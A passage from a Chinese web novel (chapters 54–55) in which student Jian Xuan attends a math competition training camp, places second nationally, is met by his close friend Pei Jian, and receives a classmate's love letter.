裴渐轻轻擦着，等到透明的药膏彻底融化在简渲温热的舌尖上。
“好了。”裴渐轻声说道。
简渲收回舌尖，揉了揉自己有些烫的耳朵。
第54章 第 54 章 集训
简渲在孟亭家里呆了五天, 五天后就直接回了学校上学。
“竞赛班集训要去华京，机票钱你们都给了，明天一到学校就来集训班集合, 去机场。”刘桓站在讲台上，对着台下的人说道。
机票钱是过年的时候学校联系的家长，孟亭就把机票钱和集训的费用都给了，孟亭本来想去华京陪简渲，但被简渲拒绝了。
坐在简渲身边的陆彻听到刘桓的话, 把脑袋凑到简渲旁边，低声说道：“到时候我俩一个宿舍呗。”
简渲偏过头，看了陆彻一眼，轻轻嗯了一声。
“集训的老师就不是我们两个了，到时候是统一的。”刘桓继续说道。
坐下讲台下的人都点了点头。
等到说完集训的事情，刚好到竞赛班训练结束的时间。
刘桓拿着放在讲台上的教案敲了敲，说道：“好了, 最后一节竞赛班的课结束了, 各位明天见。”
简渲回到家里，他和裴渐后面几天都没有见面。
“明天就走吗？”裴渐听着简渲的话，皱着眉问道。
简渲轻轻点了一下头, 说道：“明天早上在学校集合, 去机场。”
“那是不是要三月考完才能见面了？”裴渐小声说道。
简渲把腿盘在沙发上，闻言说道：“对。”
裴渐看着手腕上的腕表, 几秒后挪开视线，说道：“好。”
“几点的飞机？”裴渐问道。
简渲摇摇头，说道：“我也不清楚，但是是早上出发去机场，我现在去收拾东西。”
“行。”裴渐低着头, 指尖在屏幕上点着，也没再多问。
第二天，简渲起的很早，吃了早饭就去学校了，他的行李不多，只用了一个小包就装下了。
到了集训班，简渲看着自己座位上的两个行李箱，又看向摸着脑袋站在自己面前的陆彻，问道：“这都是你的行李？”
陆彻大大咧咧地点了点头，说道：“对啊，我全都准备好了，各种生活用品都有。”
倒也不至于准备两个行李箱吧。
但是简渲也没说出口，只是把陆彻的两个行李箱挪到了过道上，坐在了自己的座位上。
陆彻看着简渲身上的小包，张了张唇，说道：“你带了什么？”
“身份证和换洗的衣服，其他的去了华京不是可以买吗？”简渲说道。
“靠，我怎么没想到。”陆彻说道。
简渲笑了一下，也没再说什么。
过了几分钟，人来齐以后，刘桓和林堂也来了，他们站在讲台上数了一下人数，确认人数来齐以后才开口：“到齐了吗？身份证都带好了吧，去学校大门等大巴车来，到时候去机场。”
简渲的行李少，很快就走了出去，但陆彻就没那么好过了，他拎着两个行李，走路尤其困难。
听到身后的喘气声，简渲转过身，拿过陆彻手里的一个行李，说道：“走吧。”
“我靠，爸爸！”陆彻手里的负重终于减少，他把手臂搭在了简渲的肩膀上。
简渲拍下陆彻搭着他的手，说道：“别乱叫。”
陆彻挠着头笑了一下，“行。”
到了学校门口，大巴车还没来，十几个学生和两个带队老师就站在原地等着。
趁着大巴车还没来的间隙，刘桓转过身，对这十几个人说道：“我和林老师陪你们取完登机牌就走，后面去登机口的时候不要迷路，到了机场以后有人接你们，会举一个牌子。”
起伏的回答声响起。
几分钟后，大巴车从校门口开了进来。
“把行李放在下面就上车。”刘桓说道。
简渲只有一个包，也不用把行李放在下面，他帮着陆彻把行李放在下面，就上了车。
上了车以后，简渲选了一个靠窗的位置坐下。
陆彻屁颠屁颠地坐在了简渲身边，他看了眼闭着眼睛的简渲，关心地问道：“你没睡好吗？”
简渲按了按太阳穴，说道：“我晕车。”
“哦哦哦。”陆彻也不再打扰简渲了。
简渲靠着窗睡了一会，等他醒来的时候还没有到机场。
简渲把手放在校服兜里，拿出了手机，看了一眼微信消息。
孟亭和裴渐都发了消息来问他。
简渲先回了孟亭的消息。
【妈妈：到机场了吗？】
【nsgb：在大巴车上。】
【妈妈：好，到机场了和我说。】
【nsgb：好。】
回完孟亭以后，简渲才把聊天框切到和裴渐的聊天框上。
【哥哥：什么时候到机场？】
【nsgb：不知道，还在大巴车上。】
【nsgb：头晕。】
【哥哥：怎么没说晕车，不然就给你买点晕车药。】
【nsgb：我忘了。】
【哥哥：睡会，别看手机了。】
【nsgb：好。】
简渲把手机熄屏，靠着车窗重新睡了过去。
简渲再次醒来，是被陆彻拍醒的。
“到了，简渲。”
简渲迷迷糊糊地睁开眼，晃了晃有些晕的头，“好。”
大巴车上的人下去的差不多了，简渲和陆彻一起下了车，帮陆彻把行李箱拿了出来。
刘桓手里拿着一个旗子，“跟着我取登机牌。”
南城机场很大，走了差不多十分钟才到取机票的地方。
取完机票以后，简渲的晕车症状才好了一点，他拿着机票拍了张照，给裴渐和孟亭分别发了过去。
裴渐没回简渲的消息，孟亭回的很快。
【妈妈：到了吗？】
【nsgb：对。】
【妈妈：好，平安降落，到华京了和我说，我在那边有朋友，我让她帮忙给你准备了一些日常用品，到时候送去你们集训的地方。】
简渲也没拒绝孟亭。
【nsgb：好。】
“要去托运行李的跟着我，不去的跟着林堂老师站在这里。”刘桓说道。
简渲本来想站在原地的，但陆彻摇着简渲的手：“你陪我去，我和其他人不熟，求求了。”
简渲本来想拒绝，但看着陆彻的样子，最后还是同意了。
等陆彻托运完行李以后，就是去检票口了，刘桓和林堂领着十几个人去。
简渲低着头，看着没有任何回复的消息，抿着唇。
还没走到检票口，简渲插在兜里的那只手腕就被人拉住了。
简渲还以为拉住他的人是陆彻：“你干”
刚抬起头，就看见了裴渐的脸。
男人笑着，站在他面前，听见简渲的话，裴渐眉眼弯了弯，说道：“怎么了？”
林堂听到那边的动静，回过头，就看见了裴渐，他走到裴渐身边，问道：“裴渐，你怎么在这？”
裴渐指了指简渲，说道：“送人。”
林堂看向简渲，也没多问了，只是对裴渐说道：“我们要去检票口了，你等会把人送过来啊。”
裴渐点点头，说道：“好。”
等其他人走后，简渲抬着头看着裴渐，有些惊喜地问道：“你怎么来了。”
裴渐捏了捏简渲的脸，说道：“给你送东西。”
简渲眨了眨眼，问道：“什么礼物？”
“你猜？”裴渐笑了一声。
简渲摇了摇头，说道：“不想猜。”
裴渐从兜里拿出来一个小盒子，放到简渲掌心。
简渲握了握盒子，没打开，而是问道：“这里面是什么？”
裴渐把盒子打开，一股香味从盒子里传了出来，“里面有香片，能持续三个月，如果学累了就闻闻，能缓解压力。”
简渲闻了闻那股味道，感觉自己的头晕都缓解了不少，说道：“好。”
“走吧，送你去检票口。”裴渐握着简渲的手握。
简渲跟着裴渐走到了登机口，就看见林堂和刘桓还站在登机口，见简渲走了过来，林堂说道：“他们还在排队安检，你现在去差不多。”
简渲点点头，把机票给了站在检票口门口的人，等机票回到他的手中，简渲回过头，和朝裴渐挥了挥手：“拜拜。”
裴渐弯着眸，回道：“拜拜。”
过完安检以后，又做了趟机场的地铁走了十多分钟才到登机口。
到登机口的时候登机口已经在检票了，十几个人就走了过去。
简渲的位置没和陆彻坐在一起，但是架不住陆彻和同班的一个女生求情，于是陆彻又坐到了简渲的旁边。
简渲坐的是飞机靠窗的位置，他拍了张窗外的照片，给裴渐发了过去。
【nsgb：上飞机了。】
裴渐回的很快。
【哥哥：好。】
【哥哥：下飞机了和我说。】
【nsgb：嗯嗯。】
“请各位乘客系好身前的安全带，把手机关机或者调成飞行模式，谢谢配合。”
简渲把手机调成了飞行模式。
很快，飞机开始起飞。
等到飞机平稳，简渲看着外面的云，打开相机拍了张照片。
拍完照片后，简渲点开相册。
看到相册上的第二张照片，简渲愣住。
买手机的时候简渲之前手机上的数据全部都传到了这个手机上，包括相册里的照片。
简渲平时就不爱拍照，因此，他相册里的上一张照片还是保存的裴渐朋友圈上的那张照片。
坐在简渲身侧的陆彻刚想偏着头找简渲聊天，一转过头，就看见了简渲手机上的照片。
可能简渲自己都没有发现，他的指尖不自觉地把那张照片点开了。
“简渲，这个照片上的帅哥是谁啊？”陆彻问道。
简渲回过身，垂眼看着相册上的那张照片，他回答道：“朋友的。”
陆彻张了张唇。
谁家朋友保存对方的照片啊？
但是陆彻也没有说出口，他摸了摸鼻子，尬笑道：“你朋友挺帅的。”
说完就偏过了头，也彻底忘了自己起初是想找简渲聊天。
整个机程两个小时，下飞机以后十几个人浩浩荡荡地去取行李。
站在行李托运的地方上等了几分钟，取完行李后才往外面走。
华京机场比南城机场更大，走了差不多十分钟才走出去。
刚走出去，就看见了一个举着“接南城竞赛班同学”的牌子。
是个女人举的牌子，十几个人走到那个女人面前。
女人看着站在自己面前的人，数了数人数，问道：“你们是南城竞赛班的对吗？”
“对。”陆彻抢答道。
“好，跟着我走，上大巴，到时候就到集训班。”女人很利索地说道。
说完后就领着人群走了。
简渲跟在人群里，拿出手机打开微信，给裴渐和孟亭一人发了一条自己下了飞机的消息。
上了大巴以后，简渲的头又开始晕了起来，他揉着脑袋，睡了过去。
再次醒来就已经到了集训的地方。
十几人下了大巴，一个挺着啤酒肚的男人就站在大巴下面，见人群下来，就说道：“这两个月我负责你们的数学竞赛集训，除了你们，还有其他学校的学生，到时候是混寝，需要换寝和老师说。”
先到了竞赛班集合，点完名后，刚才接简渲他们的那个男人就说道：“我叫秦柏，寝室名单贴在这里，自己看，现在是十二点，吃完午饭就去寝室，三点的时候来教室，进行测验考试。”
说完，秦柏就走了。
陆彻连忙冲上讲台去看寝室的安排，看完后，他连忙跑到简渲旁边，笑着说道：“我俩一个寝室！304！”
简渲很平静地点点头，没什么反应。
不过陆彻已经习惯了简渲的情绪了，“走吧，吃午饭？”
简渲低着头看了眼手机，站起身，说道：“我先去拿东西，今天就不去吃了。”
是孟亭发来的消息。
【妈妈：我朋友在你们集训基地门口，你去拿吧，我顺便拜托她给你送了午饭。】
简渲边走边在键盘上打字。
【nsgb：好。】
简渲快步走到基地门口，就看见一个穿着西装的的女人站在基地门口。
简渲走了过去，看见女人，犹豫了一下才开口：“阿姨。”
“你是孟亭的儿子吧？”女人看了眼简渲问道。
简渲轻轻点了一下头。
“你和阿亭长得真像，一样好看，”女人把手里拎着的东西递到简渲手里，“这个里面的我打包的饭，这个是生活用品。”
简渲接过女人手里的东西，说道：“谢谢阿姨。”
“我是你干妈。”女人说道。
简渲抬起头。
女人笑了一下，继续说道：“我和你妈妈生下来就认识了，当时说了如果以后结婚就当对方孩子的干妈。”
简渲点点头，小声喊了一句：“干妈。”
女人笑了起来，说道：“欸，那我先走了，还有工作。”
女人走后，简渲把午饭吃完拿着那袋子东西去了寝室，进到寝室以后，三个人已经坐在里面了。
陆彻见简渲进来，连忙说道：“这就是简渲，我和你们说的那个竞赛成绩很牛逼那个。”
简渲点了下头，算是打了个招呼。
“这里还有一个床位，可以吗？”坐在座位上的一个男生说道。
简渲看了一眼，宿舍是上床下桌，剩余空着的这个床位是靠着门的，他点了点头，“可以。”
陆彻这个人自来熟，倒是对着简渲介绍起来剩下两个人。
“这个叫蒋升，是华京本地人。”陆彻指着刚刚问简渲话的那个人说道。
简渲打了声招呼。
“这个叫闻献，也是华京的。”陆彻继续说道。
简渲又打了声招呼。
他不打算和宿舍的人打好关系，就两个月，关系多好也不重要，到了竞赛的时候，照样是竞争对手。
简渲在自己的座位上坐下，他拿起之前写的竞赛题看了起来，开始准备起下午的测验考试。
很快到了三点，四个人一起去了教室。
到了教师没一会，秦柏就来了，他手里拿着卷子，发了下去，说道：“这是按照竞赛规格布置的考题，八十分钟写完，满分一百二，八道填空和三道大题，开始计时。”
集训班的桌子是分开的，一人座。
简渲拿着卷子看了一眼，很快就写了起来。
八十分钟说快也不快，也短是真的很短，很多人都觉得自己没写多久就要交卷了。
直到秦柏喊收卷的时候，许多人才落笔。
卷子刚收上去，许多人的哀声就响了起来，陆彻就坐在简渲过道旁，他把身子偏到简渲身边，连忙问道：“你这次考怎么样？”
简渲仔细想了一下，也没说个具体的成绩，只是说道：“和以前差不多吧。”
陆彻叹了口气，把脑袋缩了回去。
“我当堂改卷，你们桌上有竞赛的资料，可以自己了解着看看，今天过后后面的强度会变大，每天都要考试。
简渲拿起放在桌上的资料看了起来。
全国竞赛分为一试和二试。
一试的时间是8：00-9：20，总时长八十分钟，满分一百二，和刚刚秦柏说的一样，八道填空题和三道大题。
一试过了的人才能进二试，二试的考试时间是9：40-12：30，总时长一百七十分钟，满分一百八，只有四道大题，可想而知难度有多高。
后面还有更多的资料，简渲慢慢看入了神。
“改好了，成绩从低往上念，让你们看看竞争对手的实力。”秦柏整理了一下卷子，说道。
“刘万，四十六分。”
“万南，五十分。”
集训班上有四十个人，念了十几个人的名字，还是没有念到简渲他们。
直到念了一半的人。
“蒋升，六十八分。”
“闻献，七十二分。”
“陆彻，七十四分。”
还是没有简渲。
陆彻把脑袋悄悄凑到了简渲面前，说道：“你不会又是第一吧？”
简渲没说话。
“唐燃，八十八分。”
教室里响起一声惊呼。
但还是没有念到简渲。
“简渲，九十。”
“我靠，牛逼！”陆彻的声音和秦柏的声音同时响起。
秦柏的视线落在陆彻身上，沉着声说道：“这位同学，你很替你的竞争对手高兴？”
陆彻本来就没打算在国内读大学，竞赛也只是参加着玩，自然真心替简渲高兴，但他还是没说。
因为周围人的目光全都落在了他身上。
等到秦柏把试卷上的题讲完，已经快八点了，中途让他们出去吃了个晚饭。
讲完后，简渲和陆彻结伴回了宿舍。
回到宿舍以后，一个肩膀撞上了简渲。
简渲抬起头，就看见蒋升的背影从自己身边走过。
简渲顿住步子，眉眼低垂着，让其他人看不见他眼里的情绪，开口：“如果你是因为我考的比你好，那你可能要嫉妒我两个月了，因为我会一直都比你好。”
站在简渲身边的陆彻张大了唇。
这是他第一次看见简渲发脾气，还挺吓人的。
蒋升的脚步顿住，他没多说什么，摔了门就走了，
闻献把两个人发生的矛盾看在眼里，他走到简渲身边，说道：“我和他一个班的，他就是这种人，别搭理他就好。”
简渲点点头。
他坐在书桌上，写了几道题，等到时间到了十点，简渲才爬上了床。
简渲摸着兜里的那个小盒子，打开闻了闻。
心里的那股烦躁才消失了不少。
简渲总觉得自己能闻到一股皂角香。
简渲又拿着那个盒子闻了闻，又没闻到了。
确认是自己的幻觉后，简渲才拿出了手机，给裴渐发消息。
【nsgb：TvT。】
【nsgb：那个香味很管用。】
裴渐大概是在看手机，几乎是秒回了简渲的消息。
【哥哥：怎么了？】
【哥哥：心情不好？】
简渲抿着唇，指尖在屏幕上点着，回复着裴渐的消息。
【nsgb：你怎么又看出来了？】
【哥哥：因为TvT。】
【哥哥：发生什么了？】
【nsgb：今天测验考试，考了九十，我宿舍有个人考得没我好，我回宿舍的时候撞我。】
【哥哥：他欺负你了？】
【nsgb：我骂回去了。】
【哥哥：怎么骂的？】
【nsgb：我说我会一直比他好。】
【哥哥：这叫什么骂人？你骂他傻叉啊。】
【nsgb：不礼貌。】
【哥哥：行，乖崽。】
看到裴渐发来的消息，简渲总觉得裴渐的声音在自己耳边。
简渲揉了揉耳朵，回复了裴渐。
【nsbg：我睡了，拜拜。】
【哥哥：晚安。】
简渲确实没骗裴渐，他给裴渐发完那条消息以后就去睡觉了。
后面集训每天的考试，简渲的成绩几乎都很稳定，后面慢慢上升了起来。
第二天，八十七分
第三天，八十九分
第四天，八十八分
第五天，九十分
第十五天，一试模拟九十五分，二试模拟一百分
第十六天，一试模拟九十四分，二试模拟一百零五分
第十七天，一试模拟九十五分，二试模拟一百零三分
第二十五天，一试模一百零一分，二试一百二十分
第二十六天，一试模拟一百零五分，二试一百二十五分
直到一试前的第三天，简渲的竞赛总分突破了二百五十分！
第55章 第 55 章 情书
等到集训那天, 简渲六点就醒了，他迷迷糊糊地拿起了放在床边的手机，打开屏幕就看见裴渐回了他昨晚的消息。
昨晚简渲给裴渐发了条明天考试的消息以后就睡了。
【哥哥：好。】
【哥哥：考试加油。】
【哥哥：什么时候考完？】
简渲从床上坐直了身子, 宿舍里的人都还有睡觉，简渲小心翼翼地踩着楼梯下去，手下的动作没停，继续给裴渐发着消息。
【nsgb：一试九点二十就结束，当天晚上就出成绩, 然后第二天就是二试，二试十二点半结束。】
【哥哥：什么时候去考场？】
【nsgb：七点多，考场就在附近。】
【哥哥：哪个学校？】
简渲拿起自己的准考证看了一眼，拍了张照片发给裴渐。
【nsgb：（图片）】
【nsgb：华京十一中。】
【哥哥：好。】
简渲醒了以后就坐在书桌上写了会竞赛题，中途蒋升也醒了，看见简渲的时候他嗤笑了一声，但也没再说什么。
等到了七点半, 就该出发去考场了。
为了防止认识的人在一个考场, 都是打乱了顺序的，简渲和陆彻也没在一个考场。
“你在几考场啊？”陆彻拿着自己的准考证问道。
简渲记得自己的考场，听到陆彻的话, 简渲回答道：“三考场。”
“我在五考场, 靠，我不会连二试就进不来吧？”陆彻有些紧张。
简渲看了陆彻一眼, 也没多说什么，只是说道：“加油。”
到了华京十一中以后，简渲和陆彻就分开了。
站在考场外面等了一会，监考老师才拿着安检仪走过来，沉着声说道：“过来安检, 除了准考证其他的都不许带进考场，手机放在门旁边的桌子上。”
简渲把手机放在桌上，检查完以后简渲才走进了考场。
教室上方的时钟不停转着，时钟落在八点的那一秒，考试正式开始。
简渲看着试卷上的题，呼出一口气，拿着笔写了起来。
九点的铃一打，考试结束。
监考老师站在讲台上，大声喊道：“都停笔，起身走出考场，试卷留在桌上。”
简渲最后看了一眼自己的试卷，站起身走了出去。
刚出去，简渲就看了失魂落魄的陆彻，陆彻看见简渲，连忙走了过去，说道：“你考得怎么样？我感觉我要没了”
“一般。”简渲说道。
陆彻已经了解了简渲的性格，知道简渲说一般就是很好，他挺直的腰弯了下去，又很快直了起来，说道：“不管了，反正也算是一次锻炼！”
简渲摸着手机，有点手痒，想给裴渐发消息。
但碍于陆彻在，简渲也不好给裴渐发。
“你下午什么打算？”陆彻问道。
简渲垂着眸，“做题。”
“行吧，我来华京这么久还没玩呢，我下午出去玩。”陆彻说道。
一试当天，集训就已经结束了，只不过宿舍还开放。
回了宿舍以后，简渲没像他对陆彻说的那样去刷题，而是拿出手机给裴渐发了条消息。
【nsgb：考完了。】
过了一分钟，裴渐的消息发了过来。
【哥哥：怎么样？】
【nsgb：还可以，能进二试。】
【哥哥：好，明天十二点半考完是吗？】
【nsgb：对。】
【哥哥：现在什么打算，等成绩出来吗？】
【nsgb：打算下午继续做题，晚上等成绩。】
【哥哥：成绩怎么查？】
【nsgb：好像是发短信吧？】
【哥哥：好，那你做题吧，我不打扰你了。】
和裴渐发完消息以后，简渲把头从手机上抬了起来，目光落在书桌旁的小盒子上。
简渲伸出手，把那个边缘已经有些磨损的盒子拿了起来，打开盖子。
里面的香味已经有些消散了，简渲闻了闻，把盖在盖上。
一整个下午，简渲都在做题。
到了晚上，宿舍里的人回来齐了，陆彻开始嚷嚷着要等成绩。
刚喊完，简渲的手机就响了一声。
陆彻连忙跑到简渲身边，扒着简渲的椅子激动地说道：“你成绩是不是出来了！让我看看。”
察觉到一道有些厌恶的视线盯着自己，简渲皱了皱眉，就和蒋升对视上了。
简渲收回视线，拿起放在桌上的手机看了一眼。
“我靠，是短信，快点开快点开！”陆彻连忙喊道。
简渲输入手机密码，点开短信，一条短信就映入眼帘。
[简渲同学，恭喜你已112分的成绩进入竞赛二试，请于明天早上九点四十到达原考场进行考试，您的考场是一考场第十二号！]
简渲看着手机上的短信，下意识截了张图。
“我靠，一百一十二，比你之前考的都高！”陆彻按着简渲的肩膀摇了摇。
陆彻的话刚说完，原本还坐在自己位置上的蒋升瞬间站了起来，往门口走。
走到门口以后，蒋升打开门走了出去，又狠狠把门关了上去。
闻献也站起身，走到简渲身边，说道；“别理他，恭喜。”
简渲笑了笑，也没说什么，他面上有些疏离，说道：“我上床了。”
说完，就踩着楼梯到了床上。
简渲拿着手机，把刚刚截的图发给了裴渐。
【nsbg：过了！】
【ngbg：[小猫摇尾巴jpg.]】
裴渐的消息回的很快，像是一直在等简渲的消息一样。
【哥哥：恭喜。】
【哥哥：二试什么时候出成绩？】
【nsgb：第二天上午。】
【哥哥：考完以后住哪里？】
【nsgb：应该就回南城了。】
【nsgb：我等会买飞机票。】
手里的手机响了一下，简渲还没去看，门就被打开了。
是蒋升。
他走了进来，眉眼指尖都是戾气，他打开自己床位的的衣柜，把里面的生活用品拿了出来，摔进了自己的行李箱，然后托着行李箱就走了。
但现在没人在意他。
陆彻也收到了手机短信。
“八十八，我进了！！我靠！”陆彻举着手机大喊道。
闻献看着自己的手机界面，也笑了一下，“我八十七，也进了。”
直到这时，宿舍的门才被关上。
简渲说了声恭喜，就继续低着头看起了裴渐发来的消息。
【哥哥：先别买。】
【nsgb：怎么了？】
【哥哥：不在华京玩玩吗？】
【nsgb：没什么想玩的。】
【哥哥：先别买。】
见裴渐执意劝自己别买机票，简渲也没买了。
【nsgb：好。】
【哥哥：早点休息，明天超常发挥。】
简渲回了裴渐一个表情包，就睡了过去。
第二天，简渲没昨天醒得早，九点多才醒。
简渲和陆彻一起去的考场，陆彻在二考场，两个人考场离得近，陆彻一路上都在蹭简渲，让简渲给他好运。
简渲也没说什么，等到监考老师来了以后，简渲才推开陆彻，说道：“考试了。”
过了安检以后，简渲坐到了自己的座位上。
最后几天，简渲二试模拟的成绩最高也只有一百四，说不担心是不可能的。
简渲下意识想去摸裴渐给他的盒子，却想起来这个盒子还在宿舍。
简渲垂着眸，试卷被发了下来，他看了一眼题。
题目很复杂，绕了很多弯，信息提取起来很困难。
等到考试铃声响起，简渲拿起笔，开始写了起来。
四道题，一百七十分钟。
身边都是笔落在纸张上的刷刷声，简渲神色冷静，指尖捏着笔，慢慢写着。
时不时传来一些不耐的声音，简渲抬起手，撑着自己的脸，捂住了耳朵，不去听这些声音。
一百七十分钟将近三个小时，简渲却觉得没有过多久，直到收卷铃响起，监考老师叫起身的声音响起。
简渲整个人都放松了下来，他把试卷往前一推，起身就走了。
出了考场以后，简渲找到了自己的手机，打开微信给裴渐发消息。
【nsgb：考完了。】
【nsgb：有点难。】
对面迟迟都没有回裴渐的消息，简渲抿着唇，不停刷新着微信界面。
连自己马上要撞到树上都没有发现。
一股拉力把简渲往右边扯，简渲有点愣，他抬起头，就看见了裴渐的眼睛。
简渲的手一松，手机从手里滑落下来，裴渐接住简渲的手机，笑了一下，把简渲的手机塞进简渲的兜里。
然后张开手抱住了简渲。
带着缱绻的声音在简渲耳侧响起，还含着笑：“一个多月没见了。”
裴渐的左手搭在简渲的后脑勺上，有些硌人，简渲伸出手，把裴渐的手扯了下来。
一个有些眼熟的东西戴在裴渐的左手食指上。
“这是那个戒指吗？”简渲摸了摸裴渐食指上的东西，问道。
裴渐垂着头，看着自己的食指，拇指挨上去摩挲了一下，“嗯，好看，就戴着了。”
简渲哦了一声，也没在多问，他抬着头，问裴渐：“你怎么来了？”
“来接你回去。”裴渐解释道。
简渲眨了眨眼，开口：“我快成年了。”
今天是三月一号，还有二十天，简渲确实就成年了。
“不太放心，是不是要去收拾行李？”裴渐说道。
简渲点了点头，“嗯。”
裴渐反手握住简渲的手腕，说道：“走吧，陪你。”
回到宿舍以后，其他人都还没回来，裴渐把简渲的东西收拾好，把简渲的包被背在自己肩上，说道：“走吧，我现在买机票。”
“现在有吗？”简渲问道。
裴渐点点头，说道：“就是有点贵，还好。”
“我把机票钱转你。”简渲拿起手机就想给裴渐赚钱。
裴渐按住简渲的手，说道：“不用。”
简渲的手被裴渐握着，简渲只能看着裴渐打开软件，买了两张票，裴渐填好自己的身份信息，然后问简渲：“你身份证号多少？”
简渲说了一串数字。
裴渐填好信息以后就付了款，他在路边打了一辆车，和简渲坐了进去，对司机说道：“去华京二号航站楼。”
司机说了声好，车子就开动了。
“现在就去机场吗？”简渲问裴渐。
裴渐轻轻嗯了一声，说道：“明天在网上查成绩吗？”
简渲点点头，说道：“对，九点就可以查成绩了。”
司机听到裴渐和简渲的对话，问道：“你们是来参加竞赛的吗？”
“我不是，我是来接朋友的。”裴渐说道。
“那你俩感情真好。”司机笑了一下，说道。
裴渐应了声，也没再说什么，他看着简渲，问道：“晕车吗？”
简渲摇了摇头，说道：“我只晕大巴车。”
“好。”裴渐说道。
到航站楼的时候已经两点了，裴渐买的机票在下午五点。
等到做完取票检票这些流程以后，已经四点二十了。
两人在候机厅坐了一会，就开始登机了。
裴渐握住简渲的手握，拉着简渲站了起来，说道：“走了。”
裴渐手上的戒指很硌人，简渲挪了挪自己的手指，让裴渐的戒指不硌着他以后才开口：“好。”
下了飞机以后已经是八点了，裴渐的车就停在停车场，简渲没什么行李，很快就走到了停车场。
裴渐打开副驾驶的车门，对简渲说道：“上去吧。”
简渲坐了进去。
裴渐坐上驾驶位，边倒车边问简渲：“回学校吗？”
“等明天出了成绩再回去。”简渲说道。
裴渐颔首，把车开出停车场，视线明亮起来以后，才继续问简渲：“保送条件是什么？”
“我没了解后面的，华京大学的话好像得竞赛前十名。”简渲说道。
“可以的。”裴渐说道。
简渲轻轻笑了一下，说道：“你就这么肯定啊？”
裴渐轻轻偏了下头，笑着说道：“相信你。”
简渲心头动了动。
他指尖挨上自己有些烫的耳朵，有些说不清这是什么情绪。
很快，裴渐就把车开回了公寓。
简渲把东西收好以后，看了眼时间，十点。
裴渐也看见了时间，他把下好的面端到简渲面前，说道：“吃了晚饭再睡，我看你飞机餐没吃多少。”
简渲点点头，很快就把一碗面吃完了。
简渲订了一个九点的闹钟。
闹钟响起以后，简渲翻了个身，拿起手机看了一眼。
想起来自己要查竞赛成绩以后，简渲就穿着睡衣走出了卧室。
刚打开卧室门，就撞到了从自己卧室出来的裴渐。
简渲的声音还带着没睡醒的沙哑，他问裴渐：“你怎么也醒了？”
裴渐笑了一下，拉着简渲的手腕，把人拉进了自己的卧室里面，让简渲坐在了电脑桌前。
简渲的视线落在裴渐的电脑上。
网页上的几个大字落入简渲的眼里。
【全国数学竞赛成绩公布】
简渲向后仰着头，看着裴渐，问道：“你看了？”
裴渐弯着唇，捏了捏简渲的脸，说道：“看成绩。”
简渲把视线落回在电脑上，看了下去。
【参赛生：简渲
一试成绩：112
二试成绩：161
总分：283
全国排名：第2名。】
简渲眨了眨眼，他仰着头看向裴渐，问道：“你没p图吧？”
裴渐揪了揪简渲的脸，说道：“我骗你干什么？”
还没等简渲继续说话，简渲的手机铃声就响了起来，简渲看了眼备注，是妈妈。
简渲按下接通。
刚接听，孟亭的声音就在那边响起。
“小渲，京大招生办的老师和我打电话了，你竞赛成绩考了多少？”孟亭问道。
“二百八十三。”简渲看着上面的成绩对着手机那边的孟亭说道。
孟亭在手机那头笑了一下，“那你要去京大吗？我了解一下，好像只能读数学专业。”
裴渐垂着头，看着神情突然僵住的简渲，说道：“第二年可以转专业。”
简渲捂住听筒，小声对裴渐说了句谢谢，才继续对着手机那头的孟亭说道：“可以的。”
“那我把地址给招生办老师，到时候录取通知书就寄过来了，”孟亭的声音顿了顿，“你和裴渐在一起？”
简渲有些不明白孟亭的语气是什么意思，他嗯了一声，说道：“嗯，他来接我回的南城。”
手机那头的孟亭呼出一口气，但也没说什么，“妈妈替你高兴，后面有什么打算吗？”
“今天回去一次，后面应该就不去学校了。”简渲说道。
“好。”孟亭说道，挂断了电话。
“现在回学校吗？”裴渐问道。
简渲轻轻点了一下头，“对。”
两人吃了早饭以后，裴渐就开着车送简渲去了学校，到学校门口以后简渲才发现校门口已经挂上了横幅。
【恭喜我校简渲同学在全国数学竞赛中取得第二名的成绩！】
简渲的脚步顿住，裴渐也看见了上面的横幅，他笑着说道：“还挺显眼。”
“那我进去了。”简渲说道。
裴渐举着那只戴着戒指的手朝简渲挥了挥，说道：“我在外面等你。”
简渲回了学校，他刚到教室，孟凯就凑了上来。
“小渲，牛逼啊。”
这语气，明显就是知道了这件事。
简渲停下脚步，问道：“你也知道了？”
“对啊，可能高三都知道了，刚刚老林在上数学课，突然接到个电话，说你拿了第二名被保送了！”孟凯激动地说道。
简渲拍了拍孟凯，说道：“别激动。”
刚到教室没一会，于婉婷就把简渲叫了过去。
简渲刚到办公室就被一群老师围住了，最后还是于婉婷把简渲解救了出来。
看着站在自己面前的简渲，于婉婷心里很欣慰，她抱了抱简渲，说道：“好孩子。”
“我听你妈妈说以后就不来学校了对吗？”于婉婷说道。
简渲轻轻点了一下头，说道：“对。”
“好，学校也同意了。”于婉婷说道。
简渲又和于婉婷还有林堂聊了会天才脱身。
刚走出办公室，简渲面前就突然多出了一封粉色的信封。
简渲抬起头，就看见宁蓓站在他面前。
女生手里捏着一封信封，塞到了简渲面前，笑着说道：“虽然知道你不喜欢我，但还是想给你看看。”
说完，不等简渲反应就走了。
只留下简渲一个人在原地愣住。
简渲低着头，看着手里的信封，有些呆滞。
他打开信封，垂着眸看起了信上的内容。
【简渲：
我喜欢你。
本来想着毕业告诉你的，结果今天知道你被保送了，以后可能不能见面了，我看得出来你不喜欢我，或者说你心里就没想过这些你。
我能看出来你是一个心思很敏感的人，我喜欢你身上的特质，和其他男生身上都不一样的特质
我记得你刚分班，当时于老师让写人生愿望，我不小心看见了你的愿望，你写的是如果有来生，希望有很多人爱你。
后来我就开始注意到了你
写这封信的目的，也不是向你寻求恋爱关系，我觉得我会慢慢放下，我只是想告诉你，你值得被喜欢。
——宁蓓】
简渲捏着信封的指尖紧了紧，他把信封折好，脑子有些乱。
那个愿望是他高二的时候乱写的，他其实根本不知道自己还写过这句话。
简渲抿着唇，把那封信塞回信封里面，卷成圆柱放在衣袖里。
回到教室以后，简渲绕了一圈走到宁蓓面前，让衣袖里的信封自然滑落在宁蓓身上。
对上宁蓓的目光，简渲抿了抿唇，说道：“谢谢，抱歉。”
宁蓓的眼睛红了红，她抹了一下眼睛，轻轻说了声嗯。
简渲收拾好书，把不要的书都扔了，背着书包就走了，离开教室的时候孟凯还在哭诉简渲走了以后他就没有同桌。
自从看见宁蓓的那封信以后简渲就觉得自己脑子乱乱的。
正如他之前和裴渐说的，他不觉得有人会喜欢自己。
没得到过爱的小孩幻想不到会有别爱自己这件事情。
对于简渲来说，他没有任何值得被喜欢的地方。
宁蓓的话让他的思绪彻底混乱，简渲指尖捏着手机，牙齿咬着下唇，往校门口走着，
一路上简渲都低着头走到校门口，都忘了要去找裴渐这件事，直到裴渐拦住他。
